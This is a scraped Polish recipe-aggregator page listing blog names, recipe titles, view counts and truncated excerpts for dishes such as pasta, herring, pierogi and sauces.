masło, wlać 1/4 szklanki ciepłej wody, przykryć i dusić na małym ogniu około 15 minut. Zdjąć pokrywkę, wlać śmietankę, doprawić solą, pieprzem i dusić jeszcze około 5 minut, aż sos zgęstnieje. Od czasu do czasu pomieszać. 4. Gotowe danie posypać natką pietruszki lub koperkiem. (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Kurczak pieczony z pomarańczami / Orange roasted chicken 275

pomarańczami dzień wcześniej, a następnego dnia wyjąć z lodówki 2 godziny przed pieczeniem, by nabrał temperatury pokojowej i do piekarnika. Podawaj kurczaka z ulubionymi dodatkami, polanego wytopionym podczas pieczenia sosem. Polecam! Scroll down for recipe in English Kurczak pieczony z pomarańczami (4 porcje) Składniki na mix do natarcia kurczaka: 4 łyżki soli 3 łyżki brązowego cukru 3/4 łyżeczki posiekanych liści

karmelowy
Kluski z makiem 124

osób preferuje jedynie wyłożyć na masę mak, ja lubię solidną ilość masy makowej wymieszać z makaronem. Fajnie kluski smakują odgrzane w piekarniku następnego dnia lub kilka dni później, polane sosem waniliowym. Artykuł Kluski z makiem pochodzi z serwisu Przepisy na dania obiadowe, ciasta, zupy, desery, nalewki, przetwory

Mieszam w Garnku
Przepyszne spaghetti a la chili con carne 157

konsystencję. Gotować 10 minut. Teraz dodać osączone kiełki fasoli, wymieszać. Sprawdzić smak w razie potrzeby doprawić do smaku. Ugotować makaron. Odcedzić. Każdą porcję makaronu posypać potartym serem i polać sosem. Smacznego. Polecam

Kuchnia Pokoleń
Domowy majonez w kilka chwil 184

imprezach. Tam majonez jest na wagę złota. W końcu czyż nie jest, to najbardziej uniwersalny dodatek? Potrzebujemy go do sałatek, jajek na twardo, kanapek, jest bazą do mojego ukochanego sosu czosnkowego, robię z nim pyszne marynaty do kurczaka i wiele więcej. Bez majonezu ani rusz Co zrobić by domowy majonez się nie zważył? Składniki muszą mieć tą samą temperaturę

Słodkie okruszki
Makaron z mielonym mięsem wołowym i pomidorami 124

patelnię wylewamy oliwę z oliwek. Dodajemy mięso mielone oraz czosnek. Podsmażamy, aż mięso nie będzie surowe. Dodajemy pomidory krojone z puszki. Dusimy na małym ogniu, aż sos zgęstnieje. Na koniec doprawiamy do smaku. Podajemy z makaronem, posypane startym grana padano lub np. parmezanem

Moja smaczna kuchnia
Makaron z boczkiem i cukinią z patelni 140

serek, całość wymieszać, trzymać na wolnym ogniu aż serek się rozpuści.  Zestawić z ognia. Makaron ugotować w osolonym wrzątku wg przepisu na opakowaniu, odcedzić na sicie, dodać do sosu i wymieszać, rozłożyć na talerze, posypać posiekaną natką pietruszki i podawać. Smacznego

Wanilia i Kardamon
Makaron z owocami morza i suszonymi pomidorami 129

czosnku 2 łyżki oleju z suszonych pomidorów lub oliwy 3 łyżki siekanej natki pietruszki sól i pieprz   Makaron ugotuj według instrukcji na opakowaniu. W czasie gotowania makaronu przygotuj sos – na patelni rozgrzej olej i lekko podsmaż owoce morza. Dodaj pokrojone kawałki pomidorów oraz czosnek przeciśnięty przez praskę. Całość smaż jeszcze przez kilka minut. Na koniec dodaj posiekaną natkę

Kulinarny S.O.S.
Makaron z owocami morza i suszonymi pomidorami 129

czosnku 2 łyżki oleju z suszonych pomidorów lub oliwy 3 łyżki siekanej natki pietruszki sól i pieprz   Makaron ugotuj według instrukcji na opakowaniu. W czasie gotowania makaronu przygotuj sos – na patelni rozgrzej olej i lekko podsmaż owoce morza. Dodaj pokrojone kawałki pomidorów oraz czosnek przeciśnięty przez praskę. Całość smaż jeszcze przez kilka minut. Na koniec dodaj posiekaną natkę

Kulinarne S.O.S.
Surówka z selera i pora 171

ścieramy na dużych oczkach tarki. Pora szatkujemy w piórka. Wszystko mieszamy ze sobą. Jogurt, majonez i sok z cytryny mieszamy ze sobą. Dodajemy zmiażdżony czosnek, sól i pieprz. Dodajemy sos do surówki, całość dokładnie mieszamy

Qchnia po prostu
Leniwe kluseczki wg Aleex 150

ukośne kluseczki. 8. Kluseczki wrzucać do gotującej się wody. Od chwili wypłynięcia na powierzchnię gotować 1 minutę. 9. Kluseczki wyjmować łyżką cedzakową na talerz. 10. Podawać z cukrem, sosem waniliowym lub polane bułką tartą z masełkiem. Smacznego

W mojej kuchni
Wigilijna kapusta z grzybami 163

Wigilii zostanie Ci nadmiar kapustki, możesz ją śmiało zamrozić i zjeść w innym dniu   Polecam też… ** Barszcz czerwony czysty ** Rybę w zalewie pomidorowo-octowej ** Rybę w sosie ananasowo-keczupowym   Składniki: 1 kg kiszonej kapusty 100 g suszonych leśnych grzybów np. borowiki, podgrzybki, kozaki 1 cebula 2 liście laurowe 2 ziela angielskie łyżka oleju sól, pieprz i szczypta

Kulinarny S.O.S.
Wigilijna kapusta z grzybami 163

Wigilii zostanie Ci nadmiar kapustki, możesz ją śmiało zamrozić i zjeść w innym dniu   Polecam też… ** Barszcz czerwony czysty ** Rybę w zalewie pomidorowo-octowej ** Rybę w sosie ananasowo-keczupowym   Składniki: 1 kg kiszonej kapusty 100 g suszonych leśnych grzybów np. borowiki, podgrzybki, kozaki 1 cebula 2 liście laurowe 2 ziela angielskie łyżka oleju sól, pieprz i szczypta

Kulinarne S.O.S.
Zrazy od Szwejka 158

czosnek. 6.   Podlewamy szklanką wody i przekładamy podsmażone roladki, prużymy do chwili aż mięso będzie miękkie. 7.   Na koniec dodajemy koncentrat pomidorowy, doprawiamy papryką ostrą. 8.   Sos zagęszczamy śmietaną rozrobioną z 1 łyżką mąki pszennej i łyżeczką mąki ziemniaczanej. 9.   Danie gotowe. 10.             Smacznego

Kulinarna Chwila
Placki ziemniaczane Foku-ski 137

oraz wsypujemy mąkę i solimy. 7.   Łączymy wszystkie składniki razem nakładamy łyżką na rozgrzany olej, smażymy z obu stron. 8.   Placuszki gotowe. 9.   Podajemy z ulubionym sosem u mnie czosnkowy. 10.           Smacznego

Kulinarna Chwila
Szybka sałatka z komosy ryżowej, z papryką, cukinią i sosem z octu balsamicznego i cytryny 158

Paprykę umyć pod bieżącą wodą. Przekroić na pół, usunąć nasiona wraz z zielonym ogonkiem. Pokroić na cienkie plasterki dowolnej długości. Czerwona cebulę obrać i pokroić w drobną kostkę. Przygotować sos: do miseczki wlać sok wyciśnięty z cytryny. Wsypać sól i pieprz. Wymieszać do rozpuszczenia soli. Dolać ocet balsamiczny i oliwę. Wszystko razem połączyć. Do miski przełożyć komosę, dodać paprykę, cukinie

Codzienna kuchnia niecodzienna
Pulpety z wątróbki 201

Pulpety gotować 10 minut od ich wypłynięcia na powierzchnie wody, na małym ogniu (woda powinna się bardzo delikatnie gotować). Ugotowane pulpet wyjmować na durszlak do odsączenia. Pulpety podawać z sosem, ziemniakami, ryżem, kaszą lub sałatką. Ja podałam pulpety z marchewką z groszkiem. Poniżej przepis na marchewkę z groszkiem . Marchewka z groszkiem : marchew obrać, pokroić w małą kostkę. Włożyć do garnka

mecooks
Karp w galarecie siostry Anastazji 176

kilku minutach klarujemy wywar, przecedzamy przez sito i gęstą gazę. Finalnie tężejącym wywarem zalewamy dekoracyjnie przybrane porcje ryby. W końcu karpia podajemy skropionego sokiem z cytryny lub z sosem tatarskich. Zobacz inne porady: Jak przechowywać ryby Jak kupić świeżą rybę? – poradnik Jak oczyścić rybę z łusek Jak wypatroszyć rybę Jak pozbyć się smaku mułu w rybach Artykuł Karp w galarecie

Dorota Smakuje
Calzone z kiełbasą w towarzystwie szpinaku i kolorowych warzyw 179

minut do lekkiego wyrośnięcia. 5. Po tym czasie wstawić do piekarnika nagrzanego do 200 stopni i piec przez około 15-20 minut. 6. Gotowe calzone podawać z różnego rodzaju sosami. Pamiętacie te ciepłe letnie wieczory w towarzystwie przyjaciół i rozpalonego pachnącego kiełbasą grilla? Ten czas już za nami, ale nie ma się co smucić! Kiełbasy Morlińskie nie zapadają w zimowy

Szalona Kuchnia Eweliny
Placki kukurydziane z oliwkami 146

małe placuszki urzekły nasze kubki smakowe, idealne połączenie smaków. Z sosem chili smakują obłędnie, myślę że czosnkowy też byłby idealny. Zachęcam do spróbowania. Placki śniadaniowe z oliwkami. CZYTAJ DALEJ

Moje Małe Czarowanie
Zapiekane naleśniki z kurczakiem i szpinakiem w sosie śmietanowym 198

Naleśniki to pyszny, prosty i szybki obiad. Wydawałoby się prawda? No prawie, jeśli zrobicie taką wersję jak u mnie z kurczakiem, szpinakiem, w sosie śmietanowym. Obiecuję, że nadal będzie pysznie, niekoniecznie tak prosto i troszkę dłużej niż zazwyczaj, ale trud się opłaci, bo obiad będzie pierwsza klasa. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Golonka ” BIG BOY” 134

pominąć ) 2 łyżki ostrej, mielonej wędzonej papryki 2 łyżki brązowego cukru 4 łyżki ketchupu pikantnego 1 łyżka granulowanego czosnku 1 łyżeczka, płaska cynamonu 1 łyżka suszonego majeranku 2 łyżki sosu Worcester 3 płaskie łyżeczki soli dodatkowo : 2 średniej wielkości cebule 2 marchewki Golonki, myjemy , golimy z wszelkich pozostałości świńskiej szczecin. Brr…tego naprawdę nie lubię , kiepskie uczucie trafić

Ogrodnik w podróży
Krewetki z pikantnym musem z mango pod kokosowym puchem 192

szczypty soli i 2 szczypty pieprzu. Smaż wszystko około 5 minut. Ryż ugotuj według instrukcji na opakowaniu. Mango obierz ze skórki, zmiksuj miąższ z dodatkiem 1 łyżeczki ostrej musztardy. Sos przełóż do małych miseczek. Na talerzu wyłóż ryż, krewetki, kiełki i limonkę. Wszystko posyp mlekiem kokosowym w proszku. Składniki na 2 porcje 250 g krewetek koktajlowych 2 łyżki masła

Eat me! Fit me!
Tortilla z łososiem 1581

Wykonuje się ją maksymalnie szybko a smak jest wyjątkowy. Intensywny smak łososia miesza się ze smakiem delikatnego serka śmietankowego, do tego świeże warzywa. Idealnie pasuje również do tego domowy sos czosnkowy. Podaje się je na zimno, więc można je przygotować wcześniej i wyciągnąć z lodówki przed samym podaniem. Tortille z łososiem można również z powodzeniem wykorzystać jako śniadanie do pracy

To Musisz Wiedzieć
Babka ziemniaczana z boczkiem 143

cebulką to bardzo proste i tanie danie na domowy obiad. To niewyszukana, ale bardzo smaczna potrawa, która ma wielu zwolenników. Babkę można podać ze śmietaną, maślanką, czy jakimś sosem np. grzybowym albo koperkowym. Świetnie smakuje również na drugi dzień, pokrojona w plastry i podsmażona na patelni. [embed]https://youtu.be/u5fIQtlxWR4[/embed] Składniki na babkę ziemniaczaną: 1 kg ziemniaków 300 g surowego

e-PrzepisyKulinarne
Pizza z salami, suszonym pomidorem i oliwkami 152

naprawdę super :-) Miłego dnia :-) Składniki na ciasto: 200 g mąki pszennej typ 450 1 łyżka suszonych drożdży 1 łyżeczka cukru 1/2 łyżeczki soli 120 ml wody 1 łyżka oliwy Sos: ketchup oregano  bazylia Dodatkowo: salami w pasterkach oliwki zielone i czarne 1 cebula czerwona 2 ząbki czosnku kilka suszonych pomidorów starta mozzarella świeże listki bazylii 1. Do misy

kruche babeczki
Gotowany filet z indyka 149

jest suchy. Propozycja idealna dla osób, które nie mogą jeść smażonych lub pieczonych mięs. Filet jest delikatny, oczywiście przyprawy możecie modyfikować pod swój gust. Możecie podać go z sosem tatarskim czy innym dipem do mięs jaki przygotujecie. Gotowany filet z indyka

Ewa w kuchni
5 dań dla św. Mikołaja 148

można też zrobić używając świeżego mięsa. W obydwu przypadkach potrawa jest doskonała. Świetnie nadaje się na lunch do pracy. Czwartek: Kurczak tikka masala Smażony filet, uduszony następnie w kremowym sosie o pięknej miedzianej barwie. I do tego ten zapach! Kuchnia hinduska jest chyba najbardziej aromatyczną kuchnią na świecie. Dla niektórych być może pachnie zbyt intensywnie, ale przecież chyba

Niedzielny kucharz
bataty frytkowe z piekarnika... 174

nagrzany na 200C, grzanie góra/dół, wstawić formę i piec35 minut, następnie na termoobiegu piec jeszcze z 5 minut, odparuje woda i bataty są chrupiące, można podawać z sosem czosnkowym, keczupem - bataty są słodką odmianą ziemniaków, doskonale smakują jak frytki z dodatkiem przypraw, soku z cytryny........SMACZNEGO

W Mojej Kuchni Lubię
CIASTO JABŁKOWE Z POPCORNEM I POLEWĄ KARMELOWĄ 178

jabłkowe na kruchym spodzie z pysznym jabłkowym budyniem, kawałkami jabłek, posypane popcornem i polane polewą karmelową.... Niezwykłe połączenie, ale całość fajnie się komponuje, a z tego wszystkiego najpyszniejszy jest sos karmelowy 😂 Ciasto nie jest trudne do zrobienia i wychodzi go całkiem sporo, wiec będzie się z kim dzielić 💗 Poniżej Podaję Wam lekko przez mnie zmodyfikowany przepis. SKŁADNIKI NA CIASTO

Słodko-Słony Świat Ilony
Kotlety z karkówki 161

pozostałych odciętych z karkówki kawałków mięsa możemy ugotować pyszną zupę.  -- -- -- -- -- -- -- -- -- -- -- -- -- -- Po upieczeniu mięso wyjmujemym, a warzywa wraz z wytopionym tłuszczem blendujemy, żeby przygotować sobie pyszny sos bez cudowania, wystarczy po prostu blendowanie. Smacznego

chleba naszego
Pielmieni z nadzieniem drobiowym, cukinią i mozarellą 181

krążki bezpośrednio przed lepieniem pielmieni. Gotowe pierożki wykładać na matę silikonową podsypaną mąką. Ulepione pielmieni gotować w osolonej wodzie z dodatkiem oleju, tak jak zwykłe pierogi. Podawać z ulubionymi sosami. Smacznego Pielmieni z nadzieniem drobiowym, cukinią i mozarellą Pielmieni z nadzieniem drobiowym, cukinią i mozarellą Pielmieni z nadzieniem drobiowym, cukinią i mozarellą Pielmieni z nadzieniem drobiowym, cukinią i mozarellą Artykuł

Smaki Armine
Krewetki z kielbasa w pikantnym pomidorowym sosie z warzywami 182

podstawowy plus, nie brudzi się przy nim dużo naczyń bo zazwyczaj jest to tylko jeden garnek, jak w przypadku tego dania. Prosto, szybko, pysznie i czysto. W aromatycznym pomidorowym sosie połączyłam krewetki i kiełbasę Morliny, dodałam do tego kilka przypraw, ryż i powstał idealny jednogarnkowy obiad dla wielbicieli owoców morza. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Śledzie w oleju z cebulą 199

płaską łyżeczką cukru i zalewamy resztą oleju Gotowe śledzie odkładamy na dwie godziny do lodówki. śledzie w oleju z cebulą Zapraszam również do skorzystania z innych przepisów: Śledzie w sosie pomidorowym Dorsz pieczony z koperkiem Kutia wigilijna – tradycyjny przepis Sałatka warstwowa gyros – Ksiega-smaku.pl Artykuł Śledzie w oleju z cebulą pochodzi z serwisu Księga Smaku

Księga-Smaku
Sałatka z kozim serem, orzechami i rukolą 151

pysznej sałatki jest smaczny dressing, który podkreśla charakter sałatki. Do tego typu sałatek uwielbiam dressing z szalotką słodko kwaśny. jest w nim i ocet, sok z cytryny oraz miód. Sos podkręcam lekko czosnkiem. Taka sałatka idealnie pasuje do świątecznego indyka . Dla smakoszy koziego sera polecam przepisy poniżej Sałatka z jabłkiem, boczkiem i kozim serem Sałatka energetyczna z kozim serem

codojedzenia
Placki z cukinii i twarogu 156

Placki idealnie zastępują mięsny posiłek. Podane z pieczonymi warzywami i aromatycznym sosem jogurtowym stanowią smaczny, wegetariański obiad. ok. 2-3 porcje: 1 mniejsza cukinia, ok. 250 g 250 g chudego lub półtłustego twarogu 1 jajko 1 szklanka dowolnej mąki Cukinię ścieramy na tarce o grubych oczkach. Dodajemy mąkę, mieszamy. Dodajemy jajko oraz twaróg i mieszamy ponownie. Masę smażymy porcjami

Kucharzyca
Smażone pierożki 192

Opis Smażone pierożki: Smażone pierożki to nowa propozycja przygotowania naszych ulubionych pierogów. Smażone pierogi z tego przepisu są chrupiące i nieziemsko przepyszne. Możemy podawać je ze śmietaną lub sosem czosnkowym. W taki sposób możemy przygotowywać pierożki z różnym farszem. W zależności od tego na jakie mamy ochotę, np. z mięsem, z kapustą i grzybami czy również z kaszą. Przepis

FoodMagazine.pl - Przepisy kulinarne
Gołąbki z pieczarkami i serem 134

kapusty sparzamy, usuwamy zgrubiałą część. Na każdy liść układamy farsz i zawijamy. Przekładamy do brytfanki, zalewamy bulionem i pieczemy pod przykryciem 90 min. w 200°C. Podajemy z ulubionym sosem

R'n'G Kitchen
Śledzie z pieczarkami 178

pieczarkami – to pyszna propozycja na wigilijne śledzie, ale nie tylko. Taka przekąska świetnie się sprawdzi również na Sylwestra i inne imprezy. Śledzie z pieczarkami i cebulą w sosie pomidorowym zapewne zasmakują każdemu! Gorąco zac The post Śledzie z pieczarkami appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Lulu Bar Warszawa – jak wyglądała nasza wizyta? 144

namęczyć. Klaudia z kolei bardzo chwaliła, więc jest to kwestia gustów i smaczków. Moje danie z kolei to był strzał w dziesiątkę – wzięłam bowla sake – łosoś z sosem sojowym, mirinem, szczypiorkiem i chilli, ryż, edamame, goma wakame, ponzu, pomidorki cherry, marynowany bakłażan orzeszki pinii, dymka i kiełki – 39zł. Dodatków było naprawdę dużo, co bardzo, baardzo mnie cieszyło

Czynniki pierwsze
MAGICA CLOK ITALIAN PLEASURE - CZEKOLADA NA GORĄCO 137

ciśnieniowym oraz tradycyjnym gotowaniu w garnuszku. W jej skład wchodzi 60 % kakao.  Zbliżają się święta Konesso posiada szeroki asortyment produktów: od kaw po ekspresy, szklanki, filiżanki, łyżeczki, czekolady, sosy, akcesoria do parzenia herbaty itd.. Jestem pewna że miłośnicy kawy ucieszyli by się z takiego prezentu pod choinką. Zapraszam

Sama słodycz i szczypta chili
Zobacz sprawdzony sposób na wyśmienite latte! 188

słodkim akcentem w postaci syropu. Nieznane nam do tej pory smaki kawy zapewni bogata gama aromatów – czekoladowych, karmelowych, waniliowych, imbirowych, bananowych, kokosowych czy pistacjowych. Należy pamiętać, że syrop lub sos dodajemy na dno szklanki przed wlaniem espresso. Innym słodkim dodatkiem, jaki możemy wykorzystać, jest bita śmietana, która stanie się zwieńczeniem smakowitego deseru. Najlepiej będzie się prezentować oprószona cynamonem, posypana wiórkami

Kulinarnyblog.pl - wiesz jak gotować!
Placuszki budyniowe 134

mąkę, proszek budyniowy i proszek do pieczenia i dokładnie wyrobić gładkie ciasto. Na patelni rozgrzać olej i położyć porcje ciasta. Smażyć na złoty kolor z obydwu stron. Podawać polane sosem klonowym i owocami. Oczywiście można je podać z cukrem pudrem, śmietaną lub w inny sposób. Życzę smacznego

Kuchnia Pokoleń
Warzywa francuskie w zapiekance 178

solimy. 7.   Warzywa przekładamy na kurczaka. 8.   Do naczynia wlewamy śmietanę, wbijamy jajko i wsypują przyprawy,  które znajdowały się w paczce z warzywami, mieszamy. 9.   Sosem polewamy zapiekankę. 10.    Na koniec posypujemy starty żółtym serem. 11.    Zapiekamy 30 minut w 180°C. 12.    Gotowe smacznego

Kulinarna Chwila
Najlepsze przepisy na śledzie 152

drobną kostkę sok z całej limonki łyżeczka oleju (u mnie lnianego) pół łyżeczki ostrej pasty chili pół pęczka szczypiorku lub dymki – drobno posiekane Pełny przepis tutaj. ŚLEDZIE W SOSIE KAWOWYM Z MUSZTARDĄ Składniki: 250 g filetów śledziowych / matjasów w oleju (nie w solance) 3 czubate łyżki musztardy 4 łyżki oleju tłoczonego na zimno (u mnie wielkopolski lniany SemCo) pół łyżki

Ugotowane pozamiatane
Spaghetti carbonara 158

makaron ( nadal trzymamy na małym grzaniu ). Mieszamy. Zdejmujemy z grzania. Doprawiamy pieprzem i dodajemy część startego sera ( połowę ). Na koniec wlewamy jajka. Cały czas mieszamy. Jajka powinny utworzyć aksamitny sos, a nie ściąć się jak jajecznica. Spaghetti wykładamy na talerze i posypujemy pozostałym serem. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject

Smaki Ewy
Czarne naleśniki z łososiem i serkiem podane z orzeźwiającą sałatką ze szpinaku, ogórków i koperku 173

miseczce wymieszaj 2 łyżki oliwy, 1 łyżkę soku z cytryny, 1 szczyptę soli i 2 szczypty czarnego pieprzu. Szpinak, ogórek, cebulę i koperek wymieszaj razem z sosem i wcinaj na zdrowie Składniki 3 garście świeżych liści szpinaku 1 długi ogórek 1 cebula cukrowa 1/2 pęczka koperku sól, czarny pieprz 2 łyżki oliwy łyżka soku z cytryny Jeśli spodobał Ci się

Eat me! Fit me!
Sałatka z surimi i jajkiem 283

ryżowym. Natomiast dzisiaj zrobiłam sałatkę na bazie mixu sałat z dodatkiem świeżych warzyw i paluszków krabowych. Całość skropiłam oliwą z oliwek i octem balsamicznym, ale może to być również sos winegret. Pycha! Składniki: 1/2 opakowania mixu sałat 8 paluszków krabowych kawałek zielonego ogórka 3 rzodkiewki 1/2 żółtej papryki 1-2 jajka kilka gałązek koperku sól, pieprz oliwa z oliwek ocet

Danka Pichci
Podsmażane naleśniki z serem i brzoskwinią 165

nimi przepadają. Tym razem zrobiłam wersję z serem. Przed podaniem naleśniki jeszcze podpiekłam na małej ilości masła i na syropie z brzoskwiń. Takie na ciepło podałam z brzoskwiniami i sosem czekoladowym. Były naprawdę pyszne :-) Polecam i miłej środy Wam życzę :-) Przepis na naleśniki tutaj ( klik ) Farsz: 400 g serek typu President naturalny 2 łyżki cukru pudru 1 puszka brzoskwiń syrop

kruche babeczki
Gdzie zjeść w Sanoku? Moje top 10 146

Widok na piękny ryneczek robi swoje. W środku też jest całkiem fajnie Próbowałam dwóch sałatek (Cesara i z grillowanym kurczakiem), nuggetsów, pizzy oraz sera wyprażanego w panierce sezamowej z sosem (tatarskim?), frytkami i surówką. Do sałatek podane były świeże, ciepłe bułeczki. Wszystkie dania były przepyszne, a ceny całkiem ok (sałatki za 18 zł, ser wyprażany za 27 zł). Ceny

Czarnawisienka
Kotlety ruskie 157

dokładnie obtoczyć je w bułce tartej. Na patelni rozgrzać olej i układać kotleciki lekko je spłaszczając. Smażyć na średnim ogniu z obu stron na jasnobrązowy kolor. Podawać z dowolnymi sosami, np. pieczarkowym czy czosnkowym

My simple kitchen
UDKA PIECZONE 137

Następnego dnia ustawiam piekarnik grzanie góra plus dół, bez termoobiegu na 180 st. C. Piekę udka na środkowej półce piekarnika przez 70 minut. Od czasu do czasu podlewam powstającym sosem. Podaję z warzywami i surówką. Smacznego

Zasmakuj Kuchni
świąteczne śledzie z suszonymi śliwkami 148

miód, cynamon, ocet oraz pokrojone śliwki. Mieszamy i dusimy kilka minut pod przykryciem. Zestawiamy z ognia i odstawiamy do wystudzenia. Śledzie kroimy na mniejsze kawałki i mieszamy z wystudzonym sosem. Taką przekąskę najlepiej przygotować dzień wcześniej aby smaki się „przegryzły”. wpis zapiera lokowanie produktu

Domowy Smak Jedzenia
GNOCCHI Z GORGONZOLĄ, GRUSZKĄ I KARMELIZOWANYMI ORZECHAMI PEKAN 159

Gnocchi ugotuj zgodnie z instrukcją na opakowaniu, odcedź. Rozdrobnij karmelizowane orzechy pekan. Gruszki pokrój w cienkie plasterki, nie obierając ich. Wyłóż gnocchi i gruszki na głębokie talerze. Polej gorącym sosem z gorgonzolą. Posyp drobno posiekanymi listkami szałwii i rozdrobnionymi orzechami pekan, podaj natychmiast

Smaki Francji współczesna kuchnia francuska
Skrobia oporna - tajemniczy składnik, którym objadają się dobre bakterie 157

zjeść je z przyjemnością. Ugotowany ryż, kasze i makaron będą doskonałe w pożywnych sałatkach na zimno . Zimne ziemniaki zjemy z przyjemnością w  sałatce ziemniaczanej w towarzystwie lekkiego sosu i koperku. Z kasz czy ryżu oraz owoców możemy przygotować prosty deser lub zblendować na pożywny koktajl. Jeśli dorzucimy do niego nie do końca dojrzałego banana to zyskamy dodatkową premię skrobi

HealthyCreations
Ryba w kukurydzianej panierce 143

dzień do obiadu lub na kolację, a także na specjalne okazje takie, jak postny piątek i kolacja wigilijna.     Inne pomysły na rybę… ** Ryba w sosie ananasowo-keczupowym ** Ryba po grecku ** Ryba w zalewie pomidorowo-octowej   Składniki: 350 g filetu ryby (jesiotr, dorsz) sól i pieprz 1,5 szklanki płatków kukurydzianych 1/2 płaskiej łyżeczki słodkiej papryki mielonej

Kulinarny S.O.S.
Ryba w kukurydzianej panierce 143

dzień do obiadu lub na kolację, a także na specjalne okazje takie, jak postny piątek i kolacja wigilijna.     Inne pomysły na rybę… ** Ryba w sosie ananasowo-keczupowym ** Ryba po grecku ** Ryba w zalewie pomidorowo-octowej   Składniki: 350 g filetu ryby (jesiotr, dorsz) sól i pieprz 1,5 szklanki płatków kukurydzianych 1/2 płaskiej łyżeczki słodkiej papryki mielonej

Kulinarne S.O.S.
Słodka pizza z ciecierzycą, szpinakiem i wegańskim serem 146

kubka mąki z tapioki 1 łyżeczka proszku do pieczenia ½ łyżeczki soli Olej, jeśli ciasto do pizzy będzie za suche DODATKI Ciecierzyca z puszki Świeży szpinak Ser wegański lub tradycyjny Sos do pizzy Oliwa z oliwek PRZYGOTOWANIE Obierz i posiekaj batata na kawałki (około 3 cm) i gotuj w garnku z wodą przez około 10 minut lub aż batat zmięknie. Odlej

Fleksitarianizm.pl
szybkowar - gołąbki z młodej włoskiej kapusty... 202

zasyczeniu pary gotować 25 minut, gołąbki wyjąć z szybkowara jak będą mocno wystudzone - z młodej włoskiej kapusty gołąbki są najlepsze, najsmaczniejsze zwłaszcza z mięsem drobiowym, ryżem i w sosie pomidorowym, w szybkowarze naprawdę są szybko gotowe do zjedzenia........SMACZNEGO

W Mojej Kuchni Lubię
Makaron cacio e pepe w 10 minut 121

wlewamy wodę spod makaronu i zagotowujemy. Następnie dodajemy makaron i dodatkową łyżkę masła, mieszamy. Dodajemy Pecorino (trochę pozostawiamy do dekoracji), zdejmujemy z ognia i mieszamy do momentu uzyskania gładkiego sosu. Podajemy od razu, posypując pozostałym serem i świeżym pieprzem. Smacznego! Artykuł Makaron cacio e pepe w 10 minut pochodzi z serwisu Just Be Fit Be Strong

Be Fit Be Strong
Kozi ser w cieście orzechowym i relish z gruszek 157

przez 15min. Relish z gruszek: 1. Gruszki pokrój w kostkę i umieść w rondelku. 2. Dodaj pozostałe składniki i gotuj na małym ogniu do momentu, aż gruszki zmiękną, a sos lekko zgęstnieje. Dodatkowo: 1. Gruszki pokrój w półplasterki i ułóż na liściach sałaty. 2. Posyp orzechami, skrop oliwą i dopraw do smaku solą i pieprzem. Smacznego! Baked goat cheese iwrapped

Kuchnia w Słońcu Skąpana
Zapiekanka z grzybami i chorizo 173

przesmażone grzybki i na wierzch połóż ser (u mnie na jednej mozarella a na drugiej parmezan)... Zapiekaj ok. 5 min.  🥖 Gotowe zapiekanki posyp szczypiorkiem i podawaj z ulubionym sosem

Alutka-Gotuje
Nadmorskie frytki po kenijsku 114

Chwilę smażymy, ale nie za długo, żeby nie spalić dodatków. Dodajemy koncentratu pomidorowego, trochę wody i chwilę dusimy. Ziemniaki obieramy, kroimy na frytki i smażymy. Mieszamy z przygotowanym wcześniej sosem

Kryzysowa Książka Kucharska
Wegański obiad nie tylko dla wegan – szybko i zdrowo 172

Oczywiście jak wszystkie dania potrzebne nam będą przyprawy. Zazwyczaj wystarczy tylko odrobina soli, co nie wyklucza użycia ulubionych przez nas innych dodatków. Do makaronu z orzechami, możemy dodać odrobinę sosu sojowego podczas łączenia wszystkich składników oraz niewielką ilość masła orzechowego. 3. Makaron ze szpinakiem – czas przygotowania około 15 minut Makaron należy ugotować według zaleceń producenta. W czasie jego gotowania

sierotka maRysia w kuchni
Makaron po chłopsku 13246

objętość. Dolałam passatę pomidorową, przecisnęłam przez praskę czosnek i przyprawiłam wszystko solą i ziołami prowansalskimi. Makaron ugotowałam zgodnie z przepisem na opakowaniu i odcedziłam. Przełożyłam makaron do patelni z sosem i wymieszałam. Odstawiłam na 5 minut i wykładałam na talerze. Oprószyłam odrobiną pieprzu i natką pietruszki. Smacznego! Lidka

Pieprzyć z Fantazją
5 dań z resztek jedzenia, które wyglądają jak z restauracji 128

pierożkami won ton   Niezwykle smakowite pierożki won ton z nadzieniem z posiekanego gotowanego kurczaka i krewetek. Wszystko w otulinie z bardzo delikatnego ciasta, podane w aromatycznym chińskim sosie. Wykwintny sposób na resztki jedzenia – a konkretnie mięso z gotowanego kurczaka, które normalnie je się za karę, albo wcale. Zobacz przepis. 2. Zupa pho z… Ta zupa

Niedzielny kucharz
Pizza z patelni 146

Przepis pochodzi ze strony internetowej. Składniki : Ciasto : mąka - 300 g woda - 100 ml mleko - 100 ml olej - 2 łyżki cukier - szczypta sól szczypta proszek do pieczenia - 1 łyżeczka Sos i dodatki: koncentrat pomidorowy - 170 g oregano suszone - 2 łyżki kiełbasa cienka - 1 pętko cebula - 1 szt tłuszcz do smażenia pieczarki - 450 g sól i pieprz ser żółty - 200 g keczup

Kuchnia Danusi
Sałatka śledziowa z pieczarkami. Przepis, który przyda się podczas świąt 3876

jednocześnie dusząc – na małym ogniu pod przekryciem przez około 15-20 minut co jakiś czas mieszając. Dzięki temu cebula się skarmelizuje, nadając całości odpowiedniej konsystencji i aromatu. Gdy sos ostygnie, dodaj ocet, musztardę i posiekaną natkę, a także wrzuć pokrojone śledzie. Wszyto przełóż do miseczki i odstaw na kilka godzin do lodówki, aby smaki się przegryzły. Rada: w przepisie

Kulinarna Polska
Ciasto francuskie z jabłkami 222

można z niego wykonać desery oraz dania wytrawne. Jeśli dodasz owoce, krem czekoladowy bądź dowolny dżem wykonasz szybki deser, jeśli jednak dodasz szpinak, grzyby, kurczaka, mięso mielone czy np. sos pomidorowy to będziesz mieć bazę do obiadu bądź danie na kolacje czy śniadanie. Przygotowane ciasto francuskie można spożywać na ciepło, ale również bardzo smaczne jest na zimno. Ciasto francuskie

To Musisz Wiedzieć
Kurczak pieczony z dynią i papryką / Chicken baked with pumpkin and bell pepper 210

